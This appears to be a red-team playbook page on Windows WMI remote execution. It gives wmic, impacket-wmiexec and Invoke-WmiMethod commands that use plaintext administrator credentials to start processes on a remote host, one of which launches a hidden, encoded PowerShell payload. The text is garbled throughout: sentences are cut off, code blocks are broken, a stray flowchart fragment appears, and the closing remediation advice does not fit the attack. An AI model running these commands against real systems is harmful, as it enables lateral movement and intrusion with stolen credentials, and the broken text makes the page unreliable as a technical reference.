Wmi Execution

Windows Management Instrumentation (WMI) Execution

When to Use

• When conducting Red Team operations and requiring remote Workflow

Phase 1: Understanding WMI (The Concept)

# Concept: ```

### Phase 2: Remote Code Execution via WMIC (Built-in Binary)

```bash
# Concept: 1. Execute a command on a remote system wmic /node:10.0.0.100 /user:CORP\Admin /password:Spring2023! process call create "cmd.exe /c powershell.exe -nop -w hidden -enc JABzAD0ATg..."

# 2. Key Benefit ```

### Phase 3: Interactive WMI Shell (Impacket-Wmiexec)

```bash
# Concept: 1. Connect impacket-wmiexec CORP/Admin:'Spring2023!'@10.0.0.100

# 2. Explore ```

### Phase 4: WMI via PowerShell (CIM Cmdlets)

```powershell
# Concept: 1. Execute Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'cmd.exe /c calc.exe' -ComputerName 10.0.0.100

    A[Identify Target Host & Valid Administrator Credentials ] --> B[Attempt WMI connection ]
    B --> C{Does host neatly accept DCOM ?}
    C -->|Yes| D[Execute ]
    C -->|No| E[Firewall ]
    D --> F[Assess ]

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Impact ```

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.
